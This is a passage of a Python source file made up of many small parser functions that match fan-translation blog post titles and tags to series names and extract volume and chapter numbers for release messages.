	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None

	fragfound = re.search(r'\((\d+)\)', item['title'])
	if not frag and fragfound:
		frag = int(fragfound.group(1))
	if 'MMSTEM' in  item['tags']:
		return buildReleaseMessage(item, 'Madam, Master Said to Eat Meal', vol, chp, frag=frag, postfix=postfix)
	return False

def extractOregaHeroineinEnglish(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractSnowyPublications(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'New Release: ' in item['title']:
		return buildReleaseMessage(item, 'Whisper of the Nightingale', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	return False

def extractPandorasBook(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractSlothTranslationsBlog(item):
	'''
	# 'Sloth Translations Blog'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if item['title'].startswith("Re:Master Magic "):
		return buildReleaseMessage(item, 'The Mage Will Master Magic Efficiently In His Second Life', vol, chp, frag=frag, postfix=postfix)
	if item['title'].lower().startswith("blacksmith chapter "):
		return buildReleaseMessage(item, 'Botsuraku youtei nanode, Kajishokunin wo mezasu', vol, chp, frag=frag, postfix=postfix)

	return False

def extractPatriarchReliance(item):
	'''
	# 'Patriarch Reliance'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None

	# Shitty assumption, if there is no prefix, it's probably a God and Devil World release.
	if re.match(r"Chapters? \d+", item['title']):
		return buildReleaseMessage(item, 'God and Devil World', vol, chp, frag=frag, postfix=postfix)

	return False

def extractTentativelyUnderconstruction(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractTwig(item):
	'''
	# 'Twig'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractSunShowerFields(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractTinkerbellsan(item):
	'''
	# 'Tinkerbell-san'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Caught in my Own Trap' in item['tags']:
		return buildReleaseMessage(item, 'Caught in my Own Trap', vol, chp, frag=frag, postfix=postfix)
	if 'Finding Glowing Beauty in Books' in item['tags']:
		return buildReleaseMessage(item, 'Finding Glowing Beauty in Books', vol, chp, frag=frag, postfix=postfix)
	if 'Boss’s Blind Date Notes' in item['tags']:
		return buildReleaseMessage(item, 'Boss’s Blind Date Notes', vol, chp, frag=frag, postfix=postfix)
	return False

def extractPenguinOverlordTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractPactWebSerial(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractTatakauShishoLightNovelTranslation(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractShokyuuTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractPriddlesTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Magic is Japanese' in item['tags']:
		return buildReleaseMessage(item, 'Magic is Japanese', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def extractTyrantsEyeTranslations(item):
	'''
	#'Tyrant\'s Eye Translations'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False


def extractTheLastSkull(item):
	'''
	# 'The Last Skull'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractTranslationsFromOuterSpace(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractRuisTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'A Mismatched Marriage: Records of Washed Away Injustices' in item['tags']:
		return buildReleaseMessage(item, 'A Mismatched Marriage: Records of Washed Away Injustices', vol, chp, frag=frag, postfix=postfix)
	return False

def extractSenjiQcreations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Sandstorm' in item['tags'] and 'Release' in item['tags']:
		return buildReleaseMessage(item, 'Sandstorm Story', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	return False

def extractPsicernTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractSymbiote(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractUnlimitedStoryWorks(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractTalesOfPaulTwister(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'The Fate of Paul Twister' in item['tags']:
		assert not vol
		vol = 2
		return buildReleaseMessage(item, 'The Tales of Paul Twister', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'The Return of Paul Twister' in item['tags']:
		assert not vol
		vol = 3
		return buildReleaseMessage(item, 'The Tales of Paul Twister', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def extractRejectHero(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractReiTransBlog(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractRealmOfChaos(item):
	'''
	#'Realm of Chaos'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None

	if 'Myriad of Shades' in item['tags']:
		names = [tmp for tmp in item['tags'] if tmp in ['Celest Ambrosia', 'Kiriko', 'Melanie Ambrosia', 'Shana Bonnet', 'Silvia', 'XCrossJ', 'Ghost']]
		postfix_out = ", ".join(names)
		if postfix:
			postfix_out +=  " - " + postfix
		return buildReleaseMessage(item, 'Myriad of Shades', vol, chp, frag=frag, postfix=postfix_out, tl_type='oel')
	return False

def extractTieshaunn(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractSTLTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractTowardsTheSky(item):
	'''
	# 'Towards the Sky~'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractSinsOfTheFathers(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	return buildReleaseMessage(item, 'Sins of the Fathers '.lower(), vol, chp, frag=frag, postfix=postfix, tl_type='oel')

####################################################################################################################################################
#
####################################################################################################################################################

def extractTofubyu(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractSkullSquadron(item):
	'''
	# 'Skull Squadron'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractSuperPotatoTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractU3000(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractStarrydawnTranslations(item):
	'''
	# 'Starrydawn Translations'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractSnowTranslations(item):
	'''
	# 'Snow Translations'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractTalesofTheForgottenslayer(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'the botched summoning' in item['tags']:
		return buildReleaseMessage(item, 'The Botched Summoning', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	return False

def extractShermaTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractPumpkinTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractPremiumRedTea(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractTseirpTranslations(item):
	'''
	# 'Tseirp Translations'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'IS SS' in item['title'] and not postfix:
		postfix = "Side Story"
	if item['title'].startswith("IS "):
		return buildReleaseMessage(item, 'Invincible Saint ~Salaryman, the Path I Walk to Survive in This Other World~', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith("GC "):
		return buildReleaseMessage(item, 'I\'ve Became Able to Do Anything With My Growth Cheat, but I Can\'t Seem to Get Out of Being Jobless', vol, chp, frag=frag, postfix=postfix)
	if 'Live Dungeon' in item['tags']:
		return buildReleaseMessage(item, 'Live Dungeon', vol, chp, frag=frag, postfix=postfix)
	return False

def extractStoneBurners(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractPandafuqTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	# Fragments are written "Name {chapter} ({frag})". Arrrgh.

	return False


####################################################################################################################################################
#
####################################################################################################################################################

def extractPippiSite(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'FMTL – Chapter' in item['title']:
		return buildReleaseMessage(item, 'First Marriage Then Love', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def extractSweetACollections(item):
	'''
	# 'Sweet A Collections'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractRoastedTea(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractSpringScents(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractOpinisaya(item):
	'''
	# 'Opinisaya.com'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractTaidadonoTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractSaurisTLBlog(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractSilverButterfly(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractTheSphere(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractSnowDust(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractRiptranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractTheBeginningAfterTheEnd(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if ":" in item['title'] and not postfix:
		postfix = item['title'].split(":")[-1]
	return buildReleaseMessage(item, 'The Beginning After The End', vol, chp, frag=frag, postfix=postfix, tl_type='oel')


####################################################################################################################################################
#
####################################################################################################################################################

def extractSoltarinationScanlations (item):
	'''
	# 'Soltarination Scanlations'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractRosyFantasy(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Yu Ren' in item['tags']:
		return buildReleaseMessage(item, 'Yu Ren', vol, chp, frag=frag, postfix=postfix)
	if 'Chu Wang Fei' in item['tags']:
		return buildReleaseMessage(item, 'Chu Wang Fei', vol, chp, frag=frag, postfix=postfix)
	if 'Seven Unfortunate Lifetimes' in item['tags']:
		return buildReleaseMessage(item, 'Seven Unfortunate Lifetimes', vol, chp, frag=frag, postfix=postfix)
	if 'All Thanks to a Single Moment of Impulse' in item['tags']:
		return buildReleaseMessage(item, 'All Thanks to a Single Moment of Impulse', vol, chp, frag=frag, postfix=postfix)
	if 'White Calculation' in item['tags']:
		return buildReleaseMessage(item, 'White Calculation', vol, chp, frag=frag, postfix=postfix)
	if "demon wang's gold medal status favorite fei" in item['tags'] or \
		item['title'].startswith('DWGMSFF') or \
		"demon's wang golden favorite fei" in item['tags']:
		return buildReleaseMessage(item, "Demon Wang's Golden Favorite Fei", vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def extractTrungNguyen(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Bringing the Farm to Live in Another World' in item['title'] or \
		'Bringing the Farm...' in item['title']:
		return buildReleaseMessage(item, 'Bringing the Farm to Live in Another World', vol, chp, frag=frag, postfix=postfix)
	if 'The First Alchemist - Chap' in item['title']:
		return buildReleaseMessage(item, 'The First Alchemist', vol, chp, frag=frag, postfix=postfix)
	return False

def extractRedDragonTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Kaettekite mo fantasy' in item['tags']:
		return buildReleaseMessage(item, 'Kaettekite mo Fantasy!?', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def extractThisWorldWork(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractSandwichKingdom(item):
	'''
	#'Sandwich Kingdom'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'sougen no okite' in item['tags']:
		return buildReleaseMessage(item, 'Sougen no Okite ~Shii yatsu ga moteru, ii buzoku ni umarekawatta zo~', vol, chp, frag=frag, postfix=postfix)
	if 'Q.Maou-sama A.Mamono' in item['tags']:
		return buildReleaseMessage(item, 'Q. Maou-sama no oshigoto wa? A. Mamono musume e no tanetsuke desu', vol, chp, frag=frag, postfix=postfix)
	if 'kininaru kanojo wo tokoton okashi tsukusu hanshi' in item['tags']:
		return buildReleaseMessage(item, 'Kininaru Kanojo wo Totokon Okashi Tsukusu Hanashi', vol, chp, frag=frag, postfix=postfix)
	if 'game sekai tenseishitara' in item['tags']:
		return buildReleaseMessage(item, 'After Reincarnating Into This Game World I Seemed to Have Taken Over the Control of Status', vol, chp, frag=frag, postfix=postfix)

	if 'healing semen' in item['tags']:
		return buildReleaseMessage(item, 'Curing incurable disease with semen', vol, chp, frag=frag, postfix=postfix)
	if 'Kininaru' in item['tags']:
		return buildReleaseMessage(item, 'Ki ni Naru Kanojo wo Tokoton Okashitsukusu Hanashi', vol, chp, frag=frag, postfix=postfix)
	return False


def extractRinOtakuBlog(item):
	'''
	# 'RinOtakuBlog'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Netooku Otoko' in item['tags']:
		return buildReleaseMessage(item, 'Netooku Otoko no Tanoshii Isekai Boueki', vol, chp, frag=frag, postfix=postfix)
	if 'Sonohi Sekai ga Kawatta' in item['tags']:
		return buildReleaseMessage(item, 'Sonohi Sekai ga Kawatta', vol, chp, frag=frag, postfix=postfix)
	return False

def extractTheNamed(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractTarableTranslations(item):
	'''
	# 'Tarable Translations'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractReadMeTranslations(item):
	'''
	# 'Read Me Translations'
	'''
	ttmp = item['title'].replace("My CEO Wife Chap.", "My CEO Wife Chapter")
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(ttmp)
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if item['title'].startswith("My CEO Wife Chap. "):
		return buildReleaseMessage(item, 'Wo De Meinu Zongcai Laopo', vol, chp, frag=frag, postfix=postfix)
	return False

def extractTheAsianCult(item):
	'''
	# 'The Asian Cult'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractPolyphonicStoryTranslationGroup(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractPridesFamiliarsMaidens(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractTheMustangTranslator(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'The Six Immortals' in item['tags']:
		return buildReleaseMessage(item, 'The Six Immortals', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def extractPopsiclete(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractTurtleandHareTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Time (对的时间对的人)' in item['title'] or 'Time (对的时间对的人)' in item['tags']:
		return buildReleaseMessage(item, 'Time', vol, chp, frag=frag, postfix=postfix)
	return False

def extractSaberTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractRomanticDreamersSanctuary(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractTLSyosetsu(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if item['title'].lower().strip().startswith('defiled hero chapter'):
		return buildReleaseMessage(item, 'Defiled Hero', vol, chp, frag=frag, postfix=postfix)
	return False

def extractQualideaofScumandaGoldCoin(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractSoltarination(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractPlainlyBored(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Empress with no Virtue'.lower() in item['title'].lower():
		return buildReleaseMessage(item, 'Empress with no Virtue', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def extractTheDefendTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractSlimeLv1(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractUniversesWithMeaning(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Angel of Death' in item['title']:
		return buildReleaseMessage(item, 'Angel of Death', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'In The Name Of God' in item['title']:
		return buildReleaseMessage(item, 'In The Name Of God', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def extractOtomeRevolution(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractSleepyTranslations(item):
	'''
	# 'Sleepy Translations'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractTheIronTeeth(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractUndecentTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractTenThousandHeavenControllingSword(item):
	'''
	# 'Ten Thousand Heaven Controlling Sword'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractTaptrans(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractRidwanTrans(item):
	'''
	# 'RidwanTrans'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Isekai Meikyuu no Saishinbu wo Mezasou' in item['title']:
		extract = re.search(r'Chapter (\d+)\-(\d+)', item['title'], re.IGNORECASE)
		if extract and not frag:
			chp  = int(extract.group(1))
			frag = int(extract.group(2))
		return buildReleaseMessage(item, 'Isekai Meikyuu no Saishinbu wo Mezasou', vol, chp, frag=frag, postfix=postfix)
	return False

def extractOyasumiReads(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None

	if 'ISEKAIJIN NO TEBIKISHO' in item['tags']:
		return buildReleaseMessage(item, 'Isekaijin no Tebikisho', vol, chp, frag=frag, postfix=postfix)

	return False

def extractUDonateWeTranslate(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'ATG' in item['tags'] or ('Against the Gods' in item['title'] and 'Chapter' in item['title']):
		return buildReleaseMessage(item, 'Against the Gods', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def extractPiggyBottleTranslations(item):
	'''
	#'PiggyBottle Translations'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if item['title'].lower().startswith('beseech the devil'):
		return buildReleaseMessage(item, 'Beseech the Devil', vol, chp, frag=frag, postfix=postfix)
	return False


def extractRumanshisLair(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if item['title'].startswith('Jobless'):
		return buildReleaseMessage(item, 'I Aim to Be an Adventurer with the Jobclass of "Jobless"', vol, chp, frag=frag, postfix=postfix)

	if 'The Harem Was a Forced Goal' in item['tags'] or 'THWAFG' in item['title']:
		if "SS" in item['title'] and not postfix:
			postfix = "Side Story"
		return buildReleaseMessage(item, 'The Harem Was a Forced Goal', vol, chp, frag=frag, postfix=postfix)
	if 'Isekai Cheat' in item['tags'] or 'Isekai Cheat' in item['title']:
		return buildReleaseMessage(item, 'Different World Reincarnation ~ Enjoying the new world as a cheat ~', vol, chp, frag=frag, postfix=postfix)
	if 'Other Worlds Monster Breeder' in item['tags'] or 'Other World’s Monster Breeder (PokeGod)'.lower() in item['title'].lower():
		return buildReleaseMessage(item, 'Other World\'s Monster Breeder', vol, chp, frag=frag, postfix=postfix)
	if 'When I returned home, what I found was fantasy!?'.lower() in item['title'].lower():
		return buildReleaseMessage(item, 'Kaettekite mo Fantasy!?', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def extractSpiritualTranscription(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None

	if 'TEO' in item['tags'] or 'The Empyrean Overlord' in item['tags']:
		return buildReleaseMessage(item, 'The Empyrean Overlord', vol, chp, frag=frag, postfix=postfix)


	return False

def extractPaztok(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title']:
		return False

	if not postfix and ":" in item['title']:
		postfix = item['title'].split(":")[-1]

	if 'Paztok' in item['tags']:
		return buildReleaseMessage(item, 'Paztok', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def extractTranslationTreasureBox(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractRedLanternArchives(item):
	'''
	# 'Red Lantern Archives'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Outaishihi ni Nante Naritakunai!!' in item['tags']:
		return buildReleaseMessage(item, 'Outaishihi ni Nante Naritakunai!!', vol, chp, frag=frag, postfix=postfix)
	return False

def extractTranslatingForYourPleasure(item):
	'''

	'''
